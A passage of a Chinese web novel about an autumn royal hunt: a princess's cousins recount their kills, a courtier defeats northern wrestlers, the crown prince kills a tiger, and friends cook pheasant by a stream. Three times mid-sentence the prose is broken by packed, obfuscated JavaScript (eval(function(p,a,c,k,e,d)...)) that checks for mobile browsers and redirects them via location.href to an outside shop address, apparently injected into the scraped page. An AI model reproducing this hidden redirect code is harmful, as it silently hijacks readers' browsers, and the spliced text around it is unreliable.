太子撩衣下跪,拜地谢恩,“儿臣谢父皇厚赐!定当日夜砥砺,不负父皇期许。然此微末之技,全赖父皇平日教诲、上天感应圣德所致。儿臣不过躬逢其盛,实不敢贪天之功为己有!今日围猎,三军将士、文武百官恪尽职守,方有此盛会。儿臣恳请,将御酒遍赏,共沐天恩!” 皇帝脸上现出些笑意,扬手道,“既是太子所言,准!” 如此父慈子孝、君圣臣贤的一幕看得坐在一旁围观的许曦啧啧称奇,没忍住轻轻拍了两下掌,还得是她哥,话说得一套一套的,她还得跟在她哥身边再熏陶几年。 “看什么呢?”一只手冷不丁拍上许曦的肩。许曦吓得一激灵,回头看见黏连着头发、带着血迹、呲着一口白牙的一张脸又是一激灵。 那人嘿嘿直笑,许曦才反应出是谁。 “表姐!?”许曦压着声音惊异道,“你这是出了什么事!?” 19. 高光×2 许知礼一抹脸,嘴紧得很,只挤眉弄眼道,“一会儿我猎来的东西报上去你就知道了。” 许曦打量她几眼,满腹狐疑地把没出口的问题又咽了回去,说,“那表姐先回帐子收拾一下?脸上花猫似的不说,衣服也不成样子,总不能就这样在人前。回头姑母又要说你了。”“哦。”许知礼叫她一提醒,反身就匆匆往自己帐子的方向跑,没跑多远又折回来,“好好,狐狸我给你猎回来了,等着下面人收拾好,再叫你自己定样子,今年冬天多个漂亮披肩穿!”说完又急急忙忙跑走了。 许曦抱臂托脸,望着表姐渐渐消失的身影,心道表姐真不聪明,刚刚还叫她等着,这会儿子就自己把狐狸说出来了。不过,一只狐狸就把表姐折腾成这样?许曦晃晃脑袋,没多想,许是中间隔了一年,表姐生疏了也不一定。 坐在上席的皇帝老僧坐定似地听宫人汇报,许曦百无聊赖地左顾右盼,目光逡巡着点认识的人:哥哥,在,和太傅聊得很开心;林懿山,不在,一定是躲在帐子里抱话本;表姐,不在,刚回了;谢稳,不在,不晓得做什么去了到现在也不见回...... “蕙宁郡主呢?”忽然响起一声,是皇帝。 许曦下意识看过去,怎么就突然要找表姐了?为狐狸?即便是只白色也还不至于。 没人应。 内侍紧赶着跟了一声,“蕙宁郡主何在?”依旧是没人应。 坐在一旁的长公主思虑了一下,刚要开口说几句话圆场,就有一道声音闯了进来,“在!在这!” 将将沐浴收拾过的许知礼换了一身简便衣裳,一溜烟儿进了场内老老实实跪好,“陛下,蕙宁在。” 皇帝倒也不甚在意那点失礼,只问,“蕙宁,今日所得,你确认无误吗?”许知礼扬着脸笑得一脸灿烂,“蕙宁确认,绝对无误。” 皇帝手指在案上敲了两下,又问,“白狐虽非常见,但今日也可搁置不论。这,野猪,真是你亲手猎得?”“回陛下,是。”许知礼的眼睛这回真要亮得发光了,“皆由蕙宁亲手猎得。” “尽管你自小不与寻常女儿一道娇养在闺阁,但毕竟也是女子之身,野猪力大蛮横,八尺男儿尚且难敌,你又是如何猎得?”皇帝问。 “回陛下,女子之身的确不如男子强劲,甚至血肉力气上也有不足。蕙宁深知此点,因而并不与其正面争斗。而是将其引至狭窄泥泞处限制其行动,再借由长枪和矫健身法置其于死地。此法不同于寻常射杀。若论骑射本领,蕙宁有白狐佐证眼力与武艺。但既然眼力与武艺作为蕙宁的一部分能作为今日成绩的依据,那么才智与谋略应如是。”说到这,许知礼脸上甚至显出些初露端倪的神气,“陛下,这只野猪,确是蕙宁亲手猎得。” “好啊!巾帼不让须眉!”皇帝的目光扫过浅笑端坐的长公主,抚掌笑道,“传朕旨意,慧宁郡主增食邑三百户,赐宝雕弓一把、金鞘匕首一柄,今岁新贡的东海明珠、赤金头面,并蜀锦十匹,一同赏下!” 许知礼跪拜谢恩,回到席间同许曦坐到一处。 之后又有不少成绩亮眼的宗室子弟或将领陆续受赏,但也少有能比肩许知礼的,毕竟能碰上野猪也是一种机缘。 真金白银,宝器首饰流水似地赏下去,高潮之后几乎不再有什么能看得过去的成绩,皇帝也听倦了。认得出眉眼高低的近侍手上拂尘一扬就要遣众人回帐休整。 “大穆的皇帝陛下。”北戎的十王子兀利忽然站起来,象征性地略行了个礼,“今日秋狝,本王大开眼界。中原儿郎的骑射技艺,如园中驯鹿,精于步伐,工于巧射,实在令人…印象深刻。”他刻意停顿,毫不在意被人听出其中深藏意味,偏偏又表现得像是不熟悉中原语系,叫人不好指摘。 兀利自顾自往下说,“然而,在我北戎有句老话:‘真正的狼王,只能在搏杀中诞生,而非在围场里选定。’我手下有几名不成器的儿郎,生性粗野,只识得搏狼斗熊的生死之法,不识得这围场规矩。今日见此盛会,心痒难耐,愿以我草原最粗砺的刀,会一会中原最锋利的刃。故此,本王斗胆,向陛下求个恩典——不如就此设下一局,不以猎物论高低,但以拳脚见真章!让我北戎的儿郎,与中原的俊杰,以武会友,切磋助兴,也好让本王看看,是草原的风雪更利,还是中原的沃土更养人!” “北戎王子…”皇帝似是在沉思。 大穆和北戎不久前才回到和平共处的状态,说得好听是不愿烽火连年累及边疆百姓,实际是无以为继的大穆正好碰上对方不愿再多浪费时间。等到北戎反应过来,休战已谈,倒也不好临时翻脸,再加上临近年关,索性就认下来休养生息。 简而言之,大穆实际上并不体面,但要是连这么个比试都不敢应下来,那就真是把大穆皇室的脸面扔在地下踩了。 皇帝答应了这场比试,兀利掀唇笑得傲慢,得寸进尺道,“小王久闻大穆谢家的威名,如果能请到谢家人上场指点一番,小王不胜荣幸。” 谢家战场出身,军功封侯,只是近些年为免势大招致功高震主之嫌,朝堂上多有保守,再加上皇室确有牵制之意,很难说对和北戎打的那场仗没有几分影响。毕竟谢家这一代的二子无一人出现在北地战场上。 兀利派出较量的人也就弱冠年纪,这么一来,不论是谢将军还是谢家长子谢喆都不好上场了,否则就是明晃晃的以大欺小。 如此,满谢家只剩下一个人选——谢稳。 谢稳把累赘的披风脱给下人,一袭藏青箭袖常服走到场中行礼。对面的北戎人也有样学样地还了个怪模怪样的礼。 许曦看他,不知道这人是什么时候回来的。 场中的双方各自摆开架势。谢稳打量着对面膀大腰圆、面露杀气的北戎人,心中计较着如何叫这场比试打个平局,他刚从林中赶回来,一身体力不说耗尽也消耗大半,如何也不敢妄下必赢的结论。 一双墨色的眼在火光下明明灭灭,谢稳心中有了些计量。等待不及的北戎人已是暴喝一声迎面冲来。谢稳下意识扭身,将身一闪,回转到其身后。北戎人俯下的腰背正对着许曦的方向,谢稳看见一双熟悉的、清凌凌的眼。 本能接管身体,谢稳下意识接下带风的一拳,顺着对方的力旋身,另一只手握拳直击对方面中,眼角余光忍不住去够刚才的那双眼。还看着吗?过一会儿呢?过一会儿还看着吗?谢稳漫无边际地想,要是还看着,看多久呢?“嘭”,这是有人的胸背受到重击;若是不看着了,那待会儿还看回来吗?“咔吧”这是关节被强行错位的声音;会一直看着吗?还是时看时不看?“呃!”“咚”有人摔在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17317557|198991||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地上....... 谢稳聚拢心神,活动活动手腕,重又打量着对面灰头土脸、面目狰狞的北戎人,心中计较着如何叫这场比试赢得漂亮。 北戎人吐出一口血沫,“呸!”,似是终于被打出些藏在骨子里的兽性,他目眦欲裂地瞪着谢稳,头颈肉眼可见的充血变红。北戎人胸口剧烈起伏,突然像只蛮牛似地冲了上去,不躲不避,硬是用胸口接下谢稳两拳,企图近身制住谢稳腰身将其抱摔在地。 谢稳见他硬抗自己两拳,先是惊异,识破他企图后也不慌乱,身形微侧,左手在他冲来的肩膀上一搭、一引,脚下步伐行云流水般旋转半周。 招不在鲜,有用就行。故技重施的“四两拨千斤”,北戎人结结实实摔倒在地。他倒地的瞬间,双手弯折成爪状要去抱谢稳的退,不放弃要将其拖到地上的想法。 谢稳又是一转,足尖在他背心轻轻一点,身形似鹤似地翩然跃起,凌空回转,稳稳落在三尺之外。 北戎人臂膀一撑,当地弹起来,同样的空中回转,三指曲成鹰爪状直取谢稳咽喉。谢稳不闪不避,直至他指尖即将探到颌下才一个闪身绕到右侧在北戎人胸前、腰上先后点了两下。 北戎人四体一软,顷刻间掉在地上,仍是不能动,只一双眼睛死死瞪着谢稳。 见他的确是冲不破穴道,谢稳微微一笑,“承让。” 胜负已分。 “北戎王子,这一场的结果已经出来了。”皇帝说,“可还接着比?” “比!当然要比!”兀术面露愠色,阴恻恻的眼神在谢稳身上盘旋,“小王久闻谢家赫赫,第一次见到真面目。倘若如此浅尝辄止,恐怕小王不能情愿。” “谢稳?”皇帝问。“臣无碍,可应战。”谢稳答 全身瘫软的北戎人被抬下,须臾间又换了个新人。谢稳顾虑着不知轮数的比试,依旧是以闪避为主,借力打力,凭巧劲取胜。 不过一刻钟功夫,接连上场的两个北戎人也摔在地上。能上战场的没有蠢人,但在警惕谢稳点穴手段的前提下,还是惨败当场。谢家底蕴可见一斑。 “不必再比了!”兀术阴沉着脸叫停了这场除了自取其辱再无任何意义的比试,“就到这吧。” 主动提出比武的人都这么说,皇帝自然不会有异议,颇为客气地赞扬了一番北戎一贯在武事上的风度,但也少不了明里暗里对大穆实力的宣扬,做足了笑面虎的样子才收起话头。 谢稳抱拳行礼回到席间,三言两语打发掉许熙派来问询的宫人,叫其捎话去宽慰许熙不必为此挂心。 回头抬眼,谢稳又对上那双清凌凌的眼。这是又看过来了?还是一直都看着?谢稳弯起眼睛看回去。和他对视的那双眼睛眨了眨,清楚这是没什么大恙,蜻蜓点水似地一眨之后又移到别处去了。 谢稳压着唇角暗笑,笑过后又招来宫人,打算吩咐些事情。 “啊!”“护甲!”惊叫声突起。 所有人的注意力瞬时被吸引过去,但已经来不及了。 一只虎不知什么时候伏在了附近,此时暴起跃出的位置正在皇帝侧下方。它灵活地越过一张张桌案,偶有围挡,也敌不过扬头撕咬或甩尾一鞭。 血盆大口震出贯耳的嘶吼,猛虎化身贴地的箭矢直奔皇帝而去。 20. 许熙打虎 “父皇!”许熙抽出随身侍卫腰间的铁剑,提气运功,几息就立在了宴席主位前与虎对峙。 那虎并未像所设想的那样扑咬上来伤人,反倒是绕到了席位的斜后方。那里放着皇帝今日首射的猎物——一头吊睛白额巨虎。 虎尸被安置在台子上,四颗犬齿在火光映照下反出死寂的惨白色。咽喉处的皮毛黑得突兀,白日的血留到现在将皮毛都黏连在一起。有晚风吹过,虎须孱弱如水上浮萍随风飘摇。 虎凑到台前嗅了嗅,随即轻巧跳上一人半高的台子和虎尸挨在一起。它循着血腥气舔舐虎尸咽喉上致命的伤口,将那片毛发舔得濡湿,正常温情得像在复习从前山林里的日常。尽管这种行径放在一头虎尸身上诡异又荒谬。 虎俯下身子,在虎尸失去温度的脖颈上蹭了蹭,随即挺直脊骨,立在高台上,“吼!”,震啸山林,以它的方式宣告了虎尸的死亡。 冤有头债有主,想来它也明白这一点。虎从高台上跃下,一步步走近皇帝在的方向。 执剑的侍卫围着虎站成弧形的半包围圈,弓箭手也都将手上弓拉成满月,蓄势待发。 但虎显然没将这道人墙放在眼里,它只管缓步接近,态度从容得像是独自漫步林中,不见凶性,人墙随着它的动作一步步后退。 皇帝早已被一群侍从护在中间站在安全的远处,他冷嗤道,“天威还不容许一个畜生放肆,放箭。”弓箭手听令凝神,手上箭羽将松未松。虎却是趁着围着它的人墙听令的空当一跃而起跳出三四米高来落在皇帝和许熙面前。 不等其他人反应,虎低哮一声,向前疾奔,意图直取皇帝性命。 许熙弃剑,似离弦之箭般迅疾从侧方撞上来,肩头抵在虎相对柔软的腰腹上,以一己之力偏移虎的扑击路径,一人一虎一同摔到一旁。 虎转瞬扑在许熙身上,许熙抓准时机,死死扣住虎的一只前肢,身躯如藤蔓般贴在虎身上,叫其不好撕咬。虎不得撕咬,抖水似地企图把身上的人甩下来。虎尾烦躁得在地上乱砸,掀起沙土飞扬一片。 “皇兄!我来助你!”一个文瘦得竹竿似的身影挥着剑跑了上来,似乎是想一剑刺在老虎屁股上。不过虎的确是被他引走了注意力。 许熙趁其不备一拳打在虎鼻上,虎禁不住剧痛,下意识仰头。暴露出来的脆弱咽喉即刻迎上的就是许熙自腰间抽出的短匕。短匕由下至上直断其经脉,干净利落,一击即杀。 淋漓滚烫的虎血浇了许熙满头满脸,他从沉重的虎尸下爬出,草草收拾干净脸面,跪到皇帝面前,“儿臣惊见血光,惊扰圣驾。”又抬起头问,“父皇可还安好?” 皇帝被围得密不透风,自是安然无恙。反倒是许熙自己,被虎爪、虎牙刺破的衣衫和沾血后黏在身上的泥泞不论,只那一头尚未拭净的兽血就足够狼狈。 皇帝盯着自己一身狼藉破败的儿子,眼底神色复杂,“太子辛苦,为朕力战至此,忠孝两全,朕心甚慰。传朕旨意,令太医署精心诊治,所用药物一概取于内库珍品,务必要让太子恢复如初,不得留有丝毫隐患。”他的目光放远,凝在倒地不能起的瘦弱身影上,“八皇子救驾有心,一并医治。” 太子和六皇子由宫人照护着回营,皇帝转身面向群臣和外国使臣,“今日秋狝,竟生此变,然太子临危不乱,护驾克敌,足见天佑我国,储君英睿。众卿受惊,此宴便到此为止。明日,朕另有恩旨,犒赏今日所有护驾出力之士!” 许熙回了营帐,在宫人伺候下更衣、清洗、上药,十数人在储君营帐鱼贯出入,脚步紧张急促,但也井然有序。 许熙坐在榻边,阖着眼,像是趁着上药的空当养神歇息,又像是在等什么人。不出半炷香功夫,帐帘被猛地掀开,珠链甩得噼里啪啦,“挞挞”的脚步声在营帐里响起。 “哎哎!公主殿下!”近侍手疾眼快地拦在许曦面前,“太子殿下在上药呢,您不好进去。”一听这个,跟在许曦身边的巧娘立马变脸“叛变”,跟拦路的近侍站在了一边,“公主,咱等一会儿也是等得的。” 许曦哪听得了这些,不管三七二十一就想强闯,却被巧娘死死挡在身前,只能伸着脖子喊,“哥哥!哥哥!”许熙坐在里间包扎,不为所动。萧天听着许曦在外面扯着嗓子一声喊得比一声“惨烈”,想到子午岭周围村落办丧事时绕梁三日的哭丧,不禁咋舌,又去瞧许熙。这人稳坐榻上,不动如山就算了,竟然还在勾着唇角闷笑。 萧天扁扁嘴,许熙做太子时什么都好,上能洞烛机先,下能礼贤下士,说得上是个众望所归的储君,哪怕皇帝第二日暴毙他也绝对能游刃有余地将大穆治理得河清海晏,可就是当兄长的时候偶尔格外乐意当个混蛋。不像他萧天,他萧天可是个好兄长,啊不,好师兄,绝对不会在林懿山喊得这么撕心裂肺的时候躲起来偷笑。 许熙终于笑够,也收拾好伤口,拢好衣衫,负手踱步到外间,越过“挡路二人组”,好看的桃花眼满是明晃晃的笑模样,“好好?” “哥哥!”许曦将要扑到她哥身上又险险止住,只是绕着她哥打转,握着露在外面不打紧的手腕拽着许熙左细看右检查,“伤到哪里没有?太医看过了吗?” “公主。”紧跟着许熙出来的太医捋着一把山羊胡,脸上笑意带些慈祥意味,他从许熙搬到东宫起就一直出东宫的诊,看这兄妹俩玩笑打闹也是不知多少年岁里看惯的,“太子自小习武,身体强健,没什么大碍。虽说刚与虎搏斗,也不过受些刮蹭、抓划的皮肉伤。按时涂抹微臣配的药膏,最迟不过五日也就好全了。连疤都不会给太子殿下留一个。” “好好,可听见了?”许熙带着促狭笑意,低头问把自己衣服拽得不成样子的妹妹。“哦哦。”许曦缩手,又伸回来多这一下不多地给她哥把衣服稍微往整齐里拽了拽。 “咳。”太医煞有其事地一清嗓子。兄妹俩的注意力都被吸引过来,两道目光齐刷刷投在太医身上。太医慢悠悠道,“微臣年事已高,实在无法看顾太子殿下按时用药,此事就只好拜托给公主您了。” 许熙闻言默默扭开脸,一副苦大仇深的样子。他参政已久,不论敌手是谁,受伤都是难免之事。从前为着不愿意叫许曦知道这些事的缘故,遮掩间难免遗忘医嘱。只是没想到这回竟让太医逮到机会在许曦面前上了眼药。 许曦一个跨步挪到她哥头转向的方向,叉着腰和他对视。要是想从天底下找出一个看管许熙遵医嘱的人,许曦是最好的人选。 许曦瞪着眼睛,试图散发些自己臆想出来的杀气,“哥哥,你一定会好好把药涂完的。”许熙眼神飘忽,自觉有些尴尬,“嗯......今日,今日的药已经涂过了。好好不必围着我转了。” 许曦狐疑地打量许熙,目光向后移和太医对视,后者轻缓地点点头。许熙适时地插上句话,“今日猎来的野兔和雉鸡送了些到好好帐中,好好回去看看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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林懿山这回抬头看她了,不过是半眯着眼没好气的看。她一巴掌拍在许曦手腕上,“没有了!有也不给你!浪费!”许曦自然晓得这人是为什么生气,嘻嘻笑着抱着人胳臂缠,“有的有的,林三再给我些嘛~” “哼。”林三早不吃这一套,甚至把装着玉米粒的小袋子认真束好,扭头道,“不给,浪费东西的坏小孩!”许曦索性倚在她身上,耍赖道,“我不管,给我!”“不要。”“给我。”“不要。”“给我。”“不要。” 连续几个回合下来,许曦闹够了,也不松手,抱着人手臂靠在人肩头,声调懒洋洋的,“好哦,不给就不给。我不要了。”她想了想,又玩笑似地改口吓唬道,“等你晚上睡着了,我就把你的袋子偷走,鸡也偷走,鸡毛都不给你留一根!” “你偷走,我就打你!”林懿山也瞪圆眼睛做出一副恐吓的样子。许曦翘着嘴角,哼笑一声,“我才不怕。” 帐子里安静下来,两个人互相靠着坐了一会儿,林懿山问,“你去找太子了?刚回来?”“对啊。”许曦眼睛盯着满地乱走的雉鸡。“听人讲,太子今日杀了头老虎。”林懿山接了一句。“对啊。”许曦又应,连话都懒到没改,“不过——”她拖着长长的话音,“哥哥现在不是哥哥了,至少不是威风八面的哥哥了。” 林懿山疑惑地瞥了她一眼,“为什么这么说?”她一顿,又补充道,“太子受伤了?”“林三真聪明。”许曦尾音往上扬,“哥哥现在不是哥哥了,是伤者。”她甚至用食指在虚空点了两下,强调许熙此刻负伤的状态。林懿山皱鼻,眼里全是对许曦刚才“矫揉造作”声调的嫌弃。 “好好!”突然随声而至的人是许知礼。她没往里面进,只站在帐子门口喊。许曦一时没应她,只听她喊了两声便兀自嘟囔,“怪了,太子表哥说好好早就回来了啊......” 许曦也不急,甚至弯着眼睛冲林懿山无声地嘿嘿笑,随即挂着满脸下不去的灿烂笑容扬声喊,“在这呢!我听到了——你不要一直喊我——”她故意拉长调子,显得有些找打,也毫不意外地收获了林懿山气急的一巴掌。 21. 雉鸡 两人闹过就从里间走了出来。许曦上下瞧了瞧许知礼,又凑近仔细看,问,“表姐,哥哥杀老虎受了些皮肉伤,你呢?猎野猪受伤了吗?”许知礼就像身体不是自己的似的,竟还想了想,道,“也没什么,不过是些擦伤和青紫,过些日子也就好了。就是这会儿缓过劲了感觉腰背、臂上哪儿哪儿都酸疼。”她说着,一手按着肩膀活动了几下手臂。 “嘶.......”许知礼活动得不巧,手肘不偏不倚地撞在突然出现的谢稳身上。谢稳甚至下意识捂上胸口,表情也少见地有些狰狞。显然这一下好顶得让他缓一会儿。 就是素不习武的林懿山被顶了这么一下也不见得有这么大反应,更不用说比在场其他人都更早接受家中教养,夏练三伏冬练三九的谢稳了。 许曦见这样,讶异地一挑眉,随即面上现出了然,“我知道了。”“你又知道什么了?”林懿山问。许知礼和谢稳也各自看过来。 许曦双手环臂,边做作地摇头边叹气,“林三,我们现在不只有一个伤患哥哥了,还有伤患表姐和伤患谢稳。”她用手指点了三下,“伤患甲、伤患乙、伤患丙。”“什么甲乙丙的......”许知礼咕哝。 许曦接着又问,“表姐我是知道的,谢稳是怎么伤着的?今日在场上,那北戎人可是连你一根头发丝都没碰着。”谢稳一副云淡风轻的样子,“今日太子打了虎,郡主打了野猪,我自然也不能落后,和狼打了一架。不小心就受了些伤。”许曦眉头轻皱,她隐隐觉得这个看似顺理成章的答案实际大有蹊跷。 “先别管狼不狼了!”许知礼打断她的思考,“好好,狐狸皮毛已经处理完了,一会儿就送到。你摸摸,回头做了披风出来肯定舒服!”许曦也不纠结那一点思绪,顺着许知礼往下说,“表姐给我猎来的狐狸肯定是顶好的......”她一把握住许知礼的手,眉开眼笑地说着今年冬天要披着披风如何如何。 “狐狸是表姐猎的,表姐和我一起定披风的样式!”许曦冲着许知礼笑,眼睛亮晶晶的,“等到衣服制好送上来,我肯定逢人就炫耀这是表姐送我的披风,叫全京城都知道!”许知礼也笑,陪她一起说些玩笑话,“好,我等着。到时候要是有一个人不知道,好好就得受我磋磨了。” “嘎嘎......咯咯......”一只雄雉鸡扬着修长斑斓的尾羽从里间溜达了出来。 “哟,活的!”许知礼快走到雉鸡边上。雉鸡受了惊吓,扑闪着翅膀连窜带跳地跑回里间。许知礼跟进去,其他人跟在她身后也都进了里面来。 “还有兔子呐,林懿山再在帐子里开块地就能过上自给自足的小日子了。”许知礼调笑道。林懿山才不理她,把自己装玉米粒的小袋子拾起来,坐上矮榻接着喂雉鸡。许曦和许知礼一左一右挤在她身边,捏着委屈的声调央来一小把玉米粒,随心情撒在地上。 谢稳倒是不好有样学样地讨要,只站在一边看她三人逗鸡取乐。 “对了。”许曦忽地转过头来,“忘了问了。谢稳,你来找我是为什么事啊?”谢稳做出一脸夸张的苦相,“我的帐子太热闹了,只好来借公主的宝地躲躲。”“嗯?”许曦眼睛又瞪大些,很快融出笑意。 谢稳平日里就因长宁候嫡子和太子伴读的身份在京中颇受人追捧,所到之处无不是前呼后拥,其中阿谀奉承者、口蜜腹剑者、趋炎附势者不在少数,却可恨地拿捏着一点不多不少的分寸,叫人不好翻脸,以至于谢稳应付起来也少不了头疼。如今他当着群臣的面漂亮击败北戎人,打了北戎好大一个嘴巴,帐子里的“热闹”自然比起从前有过之而无不及。 许曦拍掉手上的碎屑,一双眼睛弯成月牙,“好啊,哥哥今日杀虎救驾,表姐一人猎杀野猪,谢稳轻松收拾掉北戎人。”她摇头晃脑,故意把声音压得深沉,“英雄出少年啊!后生可畏!后生可畏!” 许知礼盯着她这副样子忍俊不禁,扑哧笑了出来。谢稳也弯着眼睛莞尔。林懿山眼里也带笑,但还是做出嗔怪的样子一指戳在许曦侧腰上,“又在胡说八道。”许曦“哎呀”一声,顺势伏在林懿山肩上,和她俩笑成一团。 “公主也厉害。”谢稳突然冒出一句。许知礼和林懿山看过来,连一时没反应过来的许曦也看过来。谢稳翘着唇角,仿佛夸赞的是自己本人,“巨鹿当前,从容不迫,一箭毙命。难道不厉害吗?” 许知礼从林懿山背后去扯许曦,“好好今日射杀了一头大鹿?说来听听?”“一会儿讲,一会儿讲。”许曦半点不见羞地拿上了乔,转而将头搁在林懿山肩上,“林三,你怎么办啊?” “什么怎么办?”林懿山揣着手,眼皮懒懒掀起。“林三赖在帐子里,不和我们一起。现在好了。”许曦一副真的为此忧心的样子,“我好厉害,哥哥好厉害,表姐好厉害,谢稳好厉害,林三不厉害。”她把头抵在人家肩上转着圈磨,“林三~林三~你不厉害了怎么办呀~” 林懿山抬手就是一个脑崩弹在许曦额上,“不要乱讲,我一直都很厉害的好吗?”许曦撇撇嘴,又喊着许知礼开始作戏,“表姐——林三打我——”许知礼配合地去够许曦的手,仿佛两人是被棒打的鸳鸯似的,声情并茂道,“好好!可怜的好好啊!是表姐没用.....” 林懿山闭上眼,自去寻眼不见为净的解脱法。 “公主。”巧娘小步走了进来,“林姑娘,晚膳已备好了。”她抬头瞧见许知礼和谢稳,又匆匆低下头,“见过郡主和谢公子。” “巧娘,都备了些什么啊?”许曦问。巧娘略一思索,执手在腹前细细报来,“烤鹿脊,野雉锅,配松茸山珍汤。好消化的燕窝鸡丝粥,清炒葵菜。点心有栗粉糕。还有公主惯喝的杏仁茶。” “唔......”许曦这回是真在思索了,思索这顿膳值不值得去吃。林懿山见她这样,眉眼全是习以为常的无奈,“巧娘,你家主子今日怕是不会用备好的晚膳了,就是人去了也是味同嚼蜡,今日的晚膳就分下去吧。”巧娘低低应了声“是”,行个礼就离去了。 “林三?”许曦眼睛都瞪大了,“这就把我的晚膳打发了?”“对啊。”林懿山哼笑一声,“你能拿我怎么样?”许曦更惊,“你的晚膳也打发了?”林懿山笑而不语。许曦眼神凄惶看向许知礼和谢稳。这两人却是在憋笑,半点无相助之意。 “好了。”林懿山收回使坏的模样,“想吃太平书院味道的雉鸡吗?”“嗯?”许曦瞬时回头,眼睛都在放光。 林懿山幼年养在云笈峰上,跟一众师兄师姐学了不少处理野物的奇技淫巧,连带蔬果也有特别的料理法子,只是这人一向懒于庖厨,自当年的那一顿鱼后鲜少施展。 许曦一把抱上林懿山,“想的想的想的。”一顿点头如捣蒜,又贴着人谄媚“林三果然最厉害了~不,林三一直都很厉害,最厉害。” 林懿山面上也是毫不遮掩的得意,她下了矮榻,左右一打衣服,像是要大干一场。“现在就开始吗?”许知礼也期待。林懿山轻笑,“急不来呢。一时兴起,还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17317559|198991||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得让人去找找要用的东西。”她快步走到帐外,言简意赅地交代下去要办的事,又折回来,问,“你们要看吗?” “要看!”许曦点头。“我也要看!”许知礼跟着道。谢稳笑,“太平书院出来的手艺,好像没有不凑上个热闹的道理。” 林懿山不置可否地一点头,转身又走,盏茶功夫再折回来,“来吧来吧,咱们换个地方。万一把帐子点了,夜里就得睡石头了。” 左右今夜风不大,扑在身上也不过丝丝凉意浇得人浑身舒坦,三人跟着林懿山换了个临溪少人的地方,溪边是早已架好的篝火,连供人歇息的毡毯也错落铺好。抬头就是一轮盈盈圆月,潇洒倾斜一溪银粒,偶有虫鸣鸟啭入耳,倒是别有一番野趣。 跟着的侍从放下一台小桌,桌上摆着林懿山点名要的东西。林懿山低头认真地卷袖子。一遍,两边,三遍...... “林三......我觉得这个袖子就可以了......”许曦弱声道。“不可以。”林懿山头都没抬,“你不懂,袖子必须卷好。” 再过半盏茶功夫,林懿山带着她终于卷好的两袖从桌上挑了一节顺眼的青竹,她一手拿着竹子走到许曦面前,另一手摊开五指朝上,“刀。”“桌上没有吗?”许曦边问便把腰间的匕首解下来给她。林懿山似笑似嗔瞪她一眼,“膳食是我做,要你个刀怎么了?”“哦哦。”许曦嘿嘿一笑。 林懿山回到桌边,缀满漂亮宝石的匕首在她手上翻转出的银色弧光也漂亮。竹节应声而开,林懿山手脚麻利地把已经收拾过的雉鸡块游戏似地抹上些粗盐和姜末投进竹节内,顺手又放进去些应季的山珍,再就地取上些溪流水灌到七八分满。 新鲜干净的竹叶塞进去封好口,林懿山又去找湿泥。“哎!”一声惊叫,林懿山手一颤。她回头,眼神森森,“干嘛?吓我一跳。”“脏......”许曦后知后觉有些心虚。林懿山哼气一声,顺带白了许曦一眼,“那一会儿大家都吃,你不要吃了。”“那不行。”许曦当机立断,讪讪道,“你继续,你继续......”林懿山转回身去,“真是的。旁边就有水啊,之后洗干净不就好了。” 湿泥糊裹密封好,竹筒被接着埋在篝火下。林懿山这才取水净手,“好了,再等上一个时辰就可以吃了。” “嗨呀!”许知礼反手撑在身下的毡毯上,正有小风过,撩起细软发丝扫过脸颊,也撩起些痒意,“真是个好地方。可惜不能原样搬回长公主府去。”许曦笑,“那表姐就别回京里去了好不好?”“不好不好。”许知礼说着就想就地躺下,一不小心拉扯到身上伤处,霎时呲牙咧嘴起来。 “表姐?”许曦关切地问。“没事。”许知礼扶着毡毯坐好,“就是扯了一下。”林懿山也凑过来,“小心一点嘛,这样也许会对身上的伤不好的。”许曦看不出个一二,也不敢动许知礼,只拿一双眼睛在人家身上扫来扫去,好像这样就能把伤看好似的。 “我帐中有军医配的药油,散瘀有奇效。”谢稳开口道,“一会儿就差人送过去。郡主身上的伤虽轻,但如果能早日治好也省去大家担心。” 许知礼下意识在身上揉了两下,看向谢稳,“当真吗?”她这一转头,还带动了另两双眼睛。面对三双一眨不眨盯着自己的眼睛,谢稳有些被质疑的哭笑不得,“当真,如假包换。” 心回到肚子里,许曦的心思又活络开了,她问,“林三,你说,如果东西是假的,如假包换之后不也换来个假的?这有什么意思?” 22. 看星 林懿山也是习惯她偶尔的语出惊人了,竟也能应下来,“再给你换一个,你没办法知道是真的还是假的啊?兴许换来换去都是同一个也说不准。”“哦......”许曦慢慢点着头。“不对!”许知礼也参与进来,“不都是已经知道是假的才去换,怎么会认不出真假?若真是这样,岂不是天下第一大蠢人?” “对啊,岂不是天下第一大蠢人?”许曦重复道,眼里闪着兴味。林懿山语噎,有些尴尬。但对比起许知礼眼里的清澈,林懿山还是嗅出其中玄机,她看向许曦,“你肯定想出来了,是也不是?”“没有。”许曦反驳。林懿山反而更加笃定,“你一定想出来了。快告诉我们。” 许知礼慢半拍地反应过来,“好好,你又在玩明知故问啊。”她笑,“快说给大家听听!”许曦抿着嘴笑,“不是还有人没说话?你们别急啊。” 